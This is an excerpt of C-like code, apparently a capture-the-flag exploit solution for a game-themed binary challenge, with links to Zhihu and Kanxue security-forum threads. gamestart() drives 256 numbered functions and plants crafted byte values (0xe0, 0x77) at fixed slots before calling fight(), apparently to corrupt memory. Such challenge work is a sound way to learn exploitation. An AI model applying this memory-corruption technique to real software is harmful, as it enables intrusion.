385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533
| void wuxiangdeyidao(); void guobapenhuo(); void tiandongwanxiang(); void fight(int); void Qanux000(int); void Qanux001(int); void Qanux002(int); void Qanux003(int); void Qanux004(int); void Qanux005(int); void Qanux006(int); void Qanux007(int); void Qanux008(int); void Qanux009(int); void Qanux010(int); void Qanux011(int); void Qanux012(int); void Qanux013(int); void Qanux014(int); void Qanux015(int); void Qanux016(int); void Qanux017(int); void Qanux018(int); void Qanux019(int); void Qanux020(int); void Qanux021(int); void Qanux022(int); void Qanux023(int); void Qanux024(int); void Qanux025(int); void Qanux026(int); void Qanux027(int); void Qanux028(int); void Qanux029(int); void Qanux030(int); void Qanux031(int); void Qanux032(int); void Qanux033(int); void Qanux034(int); void Qanux035(int); void Qanux036(int); void Qanux037(int); void Qanux038(int); void Qanux039(int); void Qanux040(int); void Qanux041(int); void Qanux042(int); void Qanux043(int); void Qanux044(int); void Qanux045(int); void Qanux046(int); void Qanux047(int); void Qanux048(int); void Qanux049(int); void Qanux050(int); void Qanux051(int); void Qanux052(int); void Qanux053(int); void Qanux054(int); void Qanux055(int); void Qanux056(int); void Qanux057(int); void Qanux058(int); void Qanux059(int); void Qanux060(int); void Qanux061(int); void Qanux062(int); void Qanux063(int); void Qanux064(int); void Qanux065(int); void Qanux066(int); void Qanux067(int); void Qanux068(int); void Qanux069(int); void Qanux070(int); void Qanux071(int); void Qanux072(int); void Qanux073(int); void Qanux074(int); void Qanux075(int); void Qanux076(int); void Qanux077(int); void Qanux078(int); void Qanux079(int); void Qanux080(int); void Qanux081(int); void Qanux082(int); void Qanux083(int); void Qanux084(int); void Qanux085(int); void Qanux086(int); void Qanux087(int); void Qanux088(int); void Qanux089(int); void Qanux090(int); void Qanux091(int); void Qanux092(int); void Qanux093(int); void Qanux094(int); void Qanux095(int); void Qanux096(int); void Qanux097(int); void Qanux098(int); void Qanux099(int); void Qanux100(int); void Qanux101(int); void Qanux102(int); void Qanux103(int); void Qanux104(int); void Qanux105(int); void Qanux106(int); void Qanux107(int); void Qanux108(int); void Qanux109(int); void Qanux110(int); void Qanux111(int); void Qanux112(int); void Qanux113(int); void Qanux114(int); void Qanux115(int); void Qanux116(int); void Qanux117(int); void Qanux118(int); void Qanux119(int); void Qanux120(int); void Qanux121(int); void Qanux122(int); void Qanux123(int); void Qanux124(int); void Qanux125(int); void Qanux126(int); void Qanux127(int); void Qanux128(int); void Qanux129(int); void Qanux130(int); void Qanux131(int); void Qanux132(int); void Qanux133(int); void Qanux134(int); void Qanux135(int); void Qanux136(int); void Qanux137(int); void Qanux138(int); void Qanux139(int); void Qanux140(int); void Qanux141(int); void Qanux142(int); void Qanux143(int); void Qanux144(int); void Qanux145(int); void Qanux146(int); void Qanux147(int); void Qanux148(int); void Qanux149(int); void Qanux150(int); void Qanux151(int); void Qanux152(int); void Qanux153(int); void Qanux154(int); void Qanux155(int); void Qanux156(int); void Qanux157(int); void Qanux158(int); void Qanux159(int); void Qanux160(int); void Qanux161(int); void Qanux162(int); void Qanux163(int); void Qanux164(int); void Qanux165(int); void Qanux166(int); void Qanux167(int); void Qanux168(int); void Qanux169(int); void Qanux170(int); void Qanux171(int); void Qanux172(int); void Qanux173(int); void Qanux174(int); void Qanux175(int); void Qanux176(int); void Qanux177(int); void Qanux178(int); void Qanux179(int); void Qanux180(int); void Qanux181(int); void Qanux182(int); void Qanux183(int); void Qanux184(int); void Qanux185(int); void Qanux186(int); void Qanux187(int); void Qanux188(int); void Qanux189(int); void Qanux190(int); void Qanux191(int); void Qanux192(int); void Qanux193(int); void Qanux194(int); void Qanux195(int); void Qanux196(int); void Qanux197(int); void Qanux198(int); void Qanux199(int); void Qanux200(int); void Qanux201(int); void Qanux202(int); void Qanux203(int); void Qanux204(int); void Qanux205(int); void Qanux206(int); void Qanux207(int); void Qanux208(int); void Qanux209(int); void Qanux210(int); void Qanux211(int); void Qanux212(int); void Qanux213(int); void Qanux214(int); void Qanux215(int); void Qanux216(int); void Qanux217(int); void Qanux218(int); void Qanux219(int); void Qanux220(int); void Qanux221(int); void Qanux222(int); void Qanux223(int); void Qanux224(int); void Qanux225(int); void Qanux226(int); void Qanux227(int); void Qanux228(int); void Qanux229(int); void Qanux230(int); void Qanux231(int); void Qanux232(int); void Qanux233(int); void Qanux234(int); void Qanux235(int); void Qanux236(int); void Qanux237(int); void Qanux238(int); void Qanux239(int); void Qanux240(int); void Qanux241(int); void Qanux242(int); void Qanux243(int); void Qanux244(int); void Qanux245(int); void Qanux246(int); void Qanux247(int); void Qanux248(int); void Qanux249(int); void Qanux250(int); void Qanux251(int); void Qanux252(int); void Qanux253(int); void Qanux254(int); void Qanux255(int);
void gamestart() { tiandongwanxiang(); wuxiangdeyidao(); guobapenhuo(); wuxiangdeyidao(); Qanux000(0); Qanux001(1); Qanux002(2); Qanux003(3); Qanux004(4); Qanux005(5); Qanux006(6); Qanux007(7); Qanux008(8); Qanux009(9); Qanux010(10); Qanux011(11); Qanux012(12); Qanux013(13); Qanux014(14); Qanux015(15); Qanux016(16); Qanux017(17); Qanux018(18); Qanux019(19); Qanux020(20); Qanux021(21); Qanux022(22); Qanux023(23); Qanux024(24); Qanux025(25); Qanux026(26); Qanux027(27); Qanux028(28); Qanux029(29); Qanux030(30); Qanux031(31); Qanux032(32); Qanux033(33); Qanux034(34); Qanux035(35); Qanux036(36); Qanux037(37); Qanux038(38); Qanux039(39); Qanux040(40); Qanux041(41); Qanux042(42); Qanux043(43); Qanux044(44); Qanux045(45); Qanux046(46); Qanux047(47); Qanux048(48); Qanux049(49); Qanux050(50); Qanux051(51); Qanux052(52); Qanux053(53); Qanux054(54); Qanux055(55); Qanux056(56); Qanux057(57); Qanux058(58); Qanux059(59); Qanux060(60); Qanux061(61); Qanux062(62); Qanux063(63); Qanux064(64); Qanux065(65); Qanux066(66); Qanux067(67); Qanux068(68); Qanux069(69); Qanux070(70); Qanux071(71); Qanux072(72); Qanux073(73); Qanux074(74); Qanux075(75); Qanux076(76); Qanux077(77); Qanux078(78); Qanux079(79); Qanux080(80); Qanux081(81); Qanux082(82); Qanux083(83); Qanux084(84); Qanux085(85); Qanux086(86); Qanux087(87); Qanux088(88); Qanux089(89); Qanux090(90); Qanux091(91); Qanux092(92); Qanux093(93); Qanux094(94); Qanux095(95); Qanux096(96); Qanux097(97); Qanux098(98); Qanux099(99); Qanux100(100); Qanux101(101); Qanux102(102); Qanux103(103); Qanux104(104); Qanux105(105); Qanux106(106); Qanux107(107); Qanux108(108); Qanux109(109); Qanux110(110); Qanux111(111); Qanux112(112); Qanux113(113); Qanux114(114); Qanux115(115); Qanux116(116); Qanux117(117); Qanux118(118); Qanux119(119); Qanux120(120); Qanux121(121); Qanux122(122); Qanux123(123); Qanux124(124); Qanux125(125); Qanux126(126); Qanux127(127); Qanux128(128); Qanux129(129); Qanux130(130); Qanux131(131); Qanux132(132); Qanux133(133); Qanux134(134); Qanux135(135); Qanux136(136); Qanux137(137); Qanux138(138); Qanux139(139); Qanux140(140); Qanux141(141); Qanux142(142); Qanux143(143); Qanux144(144); Qanux145(145); Qanux146(146); Qanux147(147); Qanux148(148); Qanux149(149); Qanux150(150); Qanux151(151); Qanux152(152); Qanux153(153); Qanux154(154); Qanux155(155); Qanux156(156); Qanux157(157); Qanux158(158); Qanux159(159); Qanux160(160); Qanux161(161); Qanux162(162); Qanux163(163); Qanux164(164); Qanux165(165); Qanux166(166); Qanux167(167); Qanux168(168); Qanux169(169); Qanux170(170); Qanux171(171); Qanux172(172); Qanux173(173); Qanux174(174); Qanux175(175); Qanux176(176); Qanux177(177); Qanux178(178); Qanux179(179); Qanux180(180); Qanux181(181); Qanux182(182); Qanux183(183); Qanux184(184); Qanux185(185); Qanux186(186); Qanux187(187); Qanux188(188); Qanux189(189); Qanux190(190); Qanux191(191); Qanux192(192); Qanux193(193); Qanux194(194); Qanux195(195); Qanux196(196); Qanux197(197); Qanux198(198); Qanux199(199); Qanux200(200); Qanux201(201); Qanux202(202); Qanux203(203); Qanux204(204); Qanux205(205); Qanux206(206); Qanux207(207); Qanux208(208); Qanux209(209); Qanux210(210); Qanux211(211); Qanux212(212); Qanux213(213); Qanux214(214); Qanux215(215); Qanux216(216); Qanux217(217); Qanux218(218); Qanux219(219); Qanux220(220); Qanux221(221); Qanux222(222); Qanux223(223); Qanux224(224); Qanux225(225); Qanux226(226); Qanux227(227); Qanux228(228); Qanux229(229); Qanux230(230); Qanux231(231); Qanux232(232); Qanux233(233); Qanux234(234); Qanux235(235); Qanux236(236); Qanux237(237); Qanux238(238); Qanux239(239); Qanux240(0); Qanux241(0xe0); Qanux242(0x77); Qanux243(0); Qanux244(0); Qanux245(0); Qanux246(0); Qanux247(0); Qanux248(248); Qanux249(249); Qanux250(250); Qanux251(251); Qanux252(252); Qanux253(253); Qanux254(254); Qanux255(255); Qanux240(666); Qanux241(666); Qanux242(666); Qanux243(666); Qanux244(666); Qanux245(666); Qanux246(666); Qanux247(666); fight(0); }
|
参考:
https://zhuanlan.zhihu.com/p/122522485?utm_id=0
https://bbs.kanxue.com/thread-273119.htm#msg_header_h1_0
https://bbs.kanxue.com/thread-274259.htm#msg_header_h2_6